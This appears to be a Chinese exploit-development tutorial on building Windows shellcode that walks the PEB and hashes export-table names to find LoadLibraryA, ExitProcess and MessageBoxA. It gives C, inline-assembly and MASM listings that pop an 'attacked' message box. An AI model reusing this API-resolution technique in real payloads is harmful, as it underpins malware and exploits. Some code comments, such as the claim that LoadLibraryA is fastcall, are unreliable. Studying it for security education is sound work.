动态定位 API 地址的 shellcode

下面我们将给 shellcode 加入自动定位 API 的功能。为了实现弹出消息框并显示“attacked”的功能,需要使用如下 API 函数。

(1)MessageBoxA 位于 user32.dll 中,用于弹出消息框。

(2)ExitProcess 位于 kernel32.dll 中,用于正常退出程序。

(3)LoadLibraryA 位于 kernel32.dll 中。并不是所有的程序都会装载 user32.dll,所以在我们调用 MessageBoxA 之前,应该先使用 LoadLibrary(“user32.dll”)装载其所属的动态链接库。

通过前面介绍的 win_32 平台下搜索 API 地址的办法,我们可以从 FS 所指的线程环境块开始,一直追溯到动态链接库的函数名导出表,在其中搜索出所需的 API 函数是第几个,然后在函数偏移地址(RVA)导出表中找到这个地址。

由于 shellcode 最终是要放进缓冲区的,为了让 shellcode 更加通用,能被大多数缓冲区容纳,我们总是希望 shellcode 尽可能短。因此,在函数名导出表中搜索函数名的时候,一般情况下并不会用“MessageBoxA”这么长的字符串去进行直接比较。

通常情况下,我们会对所需的 API 函数名进行 hash 运算,在搜索导出表时对当前遇到的函数名也进行同样的 hash,这样只要比较 hash 所得的摘要(digest)就能判定是不是我们所需的 API了。虽然这种搜索方法需要引入额外的 hash 算法,但是可以节省出存储函数名字符串的代码。

本节实验中所用 hash 函数的 C 代码如下。

#include <stdio.h>
#include<stdlib.h>

unsigned int GetHash(char *fun_name)
{
    unsigned int digest=0;
    while(*fun_name)
    {
        digest=((digest<<25)|(digest>>7));
        digest+= *fun_name ;
        fun_name++;
    }
    return digest;
}

int main(int argc,char **args)
{
    unsigned int hash;

    if(argc!=2)
    {
        fprintf(stderr,"Error argument\n");
        exit(1);
    }
    hash= GetHash(args[1]);
    printf("result of hash is %08X\n",hash);
}

在将 hash 压入栈中之前,注意先将增量标志 DF 清零。因为当 shellcode 是利用异常处理机制而植入的时候,往往会产生标志位的变化,使 shellcode 中的字串处理方向发生变化而产生错误(如指令 LODSD)。如果您在堆溢出利用中发现原本身经百战的 shellcode 在运行时出错,很可能就是这个原因。总之,一个字节的指令可以大大增加 shellcode 的通用性。

现在可以将这些 hash 结果压入栈中,并用一个寄存器标识位置,以备后面搜索 API 函数时使用。

;储存hash值

push 0x1e380a6a ;hash of MessageBoxA

push 0x4fd18963 ;hash of ExitProcess

push 0x0c917432 ;hash of LoadLibraryA

然后实现下面的代码。

//测试环境:Windows XP + vs2010
//编译选项:无
//注:在Win10中无效,原因下面会讲到

int main()
{

    __asm
    {

    //eax 作为计算寄存器
    //edi 储存动态库基址
    //edx 用来做要装载函数的地址偏移

    //注:找到的函数入口地址在代码中是直接覆盖掉原来存hash值的地方

        cld             //清除df标志位

        push ebp
        mov ebp,esp

        xor edx,edx    
        dec edx         //用edx来做计数器,初始值为-1

        //储存hash值
        push 0x0c917432 //LoadLibraryA的hash值
        push 0x4fd18963 //ExitProcess的hash值
        push 0x1e380a6a //MessageBoxA的hash值

                                        //找到kernel32.dll的基地址
        mov eax, fs:[0x30]              //获取PEB基址 
        mov eax, [eax + 0x0c]           //获取PEB_LDR_DATA结构指针
        mov eax, [eax + 0x1c]           //获取InInitializationOrderModuleList成员指针 
                                        //order list
        mov eax, [eax]  //获取双向链表当前节点的后继指针
                        //(kernel32.dll)

        mov edi, [eax + 0x08]            //取其基地址,该结构当前包含的是kernel32.dll

    find_lib_functions:
        mov eax,[ebp+edx*4] //处理第(-(edx))个需要获得的函数

        cmp eax, 0x1e380a6a //MessageBoxA的hash值,如果是MessageBoxA
                            //则在找它之前
                            //先要运行LoadLibrary("user32")来装载user32.dll
        jne find_functions

                            //装载user32.dll
        push edx            //保护edx,否则执行LoadLibrary时会破坏edx
                            //push a pointer to "user32" onto stack
        push 0x00003233        
        push 0x72657375     //把"user32"压入栈中
        push esp            //把"user32"在栈中的地址压入栈中
        call [ebp - 1*4]    //调用第一个函数LoadLibraryA()

        add esp,8           //恢复栈区,由于LoadLibraryA函数是fastcall调用,所以不需要
                            //父程序来恢复栈区

        pop edx             //恢复edx
        mov edi,eax         //把user32.dll的基地址给edi

    find_functions:
        mov eax, [edi + 0x3c]       //获得PE头偏移
        mov eax, [edi + eax + 0x78] //获得导出表指针偏移

        mov ecx,[edi + eax + 0x24]  //获得函数名字列表与函数入口偏移地址列表的对应表指针偏移
        add ecx,edi                 //获得函数名字列表与函数入口偏移地址列表的对应表指针
        push ecx                    //保存函数名字列表与函数入口偏移地址列表的对应表指针

        mov ecx,[edi + eax + 0x1c]  //获得函数入口偏移列表地址偏移
        add ecx,edi                 //获得函数入口偏移列表地址
        push ecx                    //保存函数入口偏移列表地址

        mov eax,[edi + eax + 0x20]  //获得函数列表名指针偏移
        mov esi,edi                 //寄存器不够用了,临时使用下
        add  esi,eax                //获得函数列表名指针

        xor ecx,ecx                 //计数器清0
    next_function_loop:
        mov eax,[esi+ecx*4]         //获得第(ecx的值)个函数名字字符串指针的偏移
        add eax,edi                 //获得第(ecx的值)个函数名字字符串指针

        push ecx                    //保存状态,因为要用ecx用来做新的计数器
        mov ecx,eax
        xor ebx,ebx                 //清0,用来储存计算好的hash值
    hash_loop:
        movsx eax,byte ptr[ecx]
        cmp al,ah                   //判断ax是否为0,也即是字符串是否结束
        jz compare_hash
        ror ebx,7
        add ebx,eax
        inc ecx
        jmp hash_loop

    compare_hash:
        pop ecx                     //恢复状态

        inc ecx                     //增加计数器

        cmp ebx,[ebp+edx*4]         //判断hash值是否为栈区的第(-(edx))个值

        jnz next_function_loop

        dec ecx                     //如果是的话就进行下一个值的处理

        pop eax                //恢复函数入口偏移列表地址
        pop ebx                //恢复函数名字列表与函数入口偏移地址列表的对应表指针
        mov cx,[ebx+ecx*2]     //用函数名字列表与函数入口偏移地址列表的对应表 来找相应函数的入口地址

        mov eax,[eax + ecx*4]  //
        add eax,edi            //获得函数入口地址

        mov [ebp+edx*4],eax    //保存函数入口地址到栈区的第(-(edx))个位置

        sub edx,1

        cmp edx,0xfffffffc     //-4,这里仅仅执行三次
        jne find_lib_functions

    function_cal1:
        xor ebx,ebx
        push ebx                   //截断字符
        push 0x64656B63
        push 0x61747461            //把'attacked'入栈
        mov eax,esp                //获得’attached‘的地址

        push ebx                //0
        push eax
        push eax
        push ebx                //0

        call[ebp - 3*4]         //调用MessageBoxA
        push ebx
        call[ebp - 2*4]         //调用ExitProcess
    }
}

因为在Win10中,ntdll.dll和kernel32.dll库中间还有一个kernelbase.dll库,Xp是没有的,所以上面的代码在Win10跑会出错,而且Win10的VS2017对汇编的支持力度不够,用cl.exe编译的话,会出现hash_loop无定义的问题,所以下面的代码我用汇编来实现。

测试环境:Win10 + vs2017

编译选项:无

; Listing generated by Microsoft (R) Optimizing Compiler Version 19.15.26726.0 

    .686P                   ;接受全部Pentium Pro指令
    .XMM                    ;接受MMX指令
    include listing.inc
    .model    flat          ;创建一个32位的程序,运行在IA-32微处理器的32位Windows操作系统

    assume fs:nothing       ;在使用fs寄存器的时候先assume fs:nothing

INCLUDELIB LIBCMT
INCLUDELIB OLDNAMES

PUBLIC    _main
_TEXT    SEGMENT
_main    PROC
    ;eax 作为计算寄存器
    ;edi 储存动态库基址
    ;edx 用来做要装载函数的地址偏移

    ;注:找到的函数入口地址在代码中是直接覆盖掉原来存hash值的地方

        cld                ;清除df标志位

        push ebp
        mov ebp,esp

        xor edx,edx    
        dec edx            ;用edx来做计数器,初始值为-1

        ;储存hash值
        push 0c917432h     ;LoadLibraryA的hash值
        push 4fd18963h     ;ExitProcess的hash值
        push 1e380a6ah     ;MessageBoxA的hash值

                                         ;找到kernel32.dll的基地址
        mov eax, fs:[30h]                ;获取PEB基址 
        mov eax, [eax + 0ch]             ;获取PEB_LDR_DATA结构指针
        mov eax, [eax + 1ch]             ;获取InInitializationOrderModuleList成员指针 
                                         ;order list
        mov eax, [eax]  ;获取双向链表当前节点的后继指针
                        ;(KernelBase.dll)
        mov eax, [eax]  ;获取双向链表当前节点的后继指针
                        ;(kernel32.dll)

        mov edi, [eax + 08h]            ;取其基地址,该结构当前包含的是kernel32.dll

    find_lib_functions:
        mov eax,[ebp+edx*4]    ;处理第(-(edx))个需要获得的函数

        cmp eax, 1e380a6ah     ;MessageBoxA的hash值,如果是MessageBoxA
                               ;则在找它之前
                               ;先要运行LoadLibrary("user32")来装载user32.dll
        jne find_functions

                                        ;装载user32.dll
        push edx                        ;保护edx,否则执行LoadLibrary时会破坏edx
                                        ;push a pointer to "user32" onto stack
        push 00003233h        
        push 72657375h                  ;把"user32��"压入栈中
        push esp                        ;把"user32��"在栈中的地址压入栈中
        call dword ptr [ebp - 1*4]      ;调用第一个函数LoadLibraryA()

        add esp,8                       ;恢复栈区,由于LoadLibraryA函数是fastcall调用,所以不需要
                                        ;父程序来恢复栈区

        pop edx                         ;恢复edx
        mov edi,eax                     ;把user32.dll的基地址给edi

    find_functions:
        mov eax, [edi + 3ch]            ;获得PE头偏移
        mov eax, [edi + eax + 78h]      ;获得导出表指针偏移

        mov ecx,[edi + eax + 24h]       ;获得函数名字列表与函数入口偏移地址列表的对应表指针偏移
        add ecx,edi                     ;获得函数名字列表与函数入口偏移地址列表的对应表指针
        push ecx                        ;保存函数名字列表与函数入口偏移地址列表的对应表指针

        mov ecx,[edi + eax + 1ch]       ;获得函数入口偏移列表地址偏移
        add ecx,edi                     ;获得函数入口偏移列表地址
        push ecx                        ;保存函数入口偏移列表地址

        mov eax,[edi + eax + 20h]       ;获得函数列表名指针偏移
        mov esi,edi                     ;寄存器不够用了,临时使用下
        add  esi,eax                    ;获得函数列表名指针

        xor ecx,ecx                     ;计数器清0
    next_function_loop:
        mov eax,[esi+ecx*4]             ;获得第(ecx的值)个函数名字字符串指针的偏移
        add eax,edi                     ;获得第(ecx的值)个函数名字字符串指针

        push ecx                        ;保存状态,因为要用ecx用来做新的计数器
        mov ecx,eax
        xor ebx,ebx                     ;清0,用来储存计算好的hash值
    hash_loop:
        movsx eax,byte ptr[ecx]
        cmp al,ah                       ;判断ax是否为0,也即是字符串是否结束
        jz compare_hash
        ror ebx,7
        add ebx,eax
        inc ecx
        jmp hash_loop

    compare_hash:
        pop ecx                         ;恢复状态

        inc ecx                         ;增加计数器

        cmp ebx,[ebp+edx*4]             ;判断hash值是否为栈区的第(-(edx))个值

        jnz next_function_loop

        dec ecx                         ;如果是的话就进行下一个值的处理

        pop eax                         ;恢复函数入口偏移列表地址
        pop ebx                         ;恢复函数名字列表与函数入口偏移地址列表的对应表指针
        mov cx,[ebx+ecx*2]              ;用函数名字列表与函数入口偏移地址列表的对应表 来找相应函数的入口地址

        mov eax,[eax + ecx*4]           ;
        add eax,edi                     ;获得函数入口地址

        mov [ebp+edx*4],eax             ;保存函数入口地址到栈区的第(-(edx))个位置

        sub edx,1

        cmp edx,0fffffffch              ;-4,这里仅仅执行三次
        jne find_lib_functions

    function_cal1:
        xor ebx,ebx
        push ebx                        ;截断字符
        push 64656B63h
        push 61747461h                  ;把'attacked'入栈
        mov eax,esp                     ;获得’attached‘的地址

        push ebx                        ;0
        push eax
        push eax
        push ebx                        ;0

        call dword ptr [ebp - 3*4]      ;调用MessageBoxA
        push ebx
        call dword ptr [ebp - 2*4]      ;调用ExitProcess
_main    ENDP
_TEXT    ENDS
END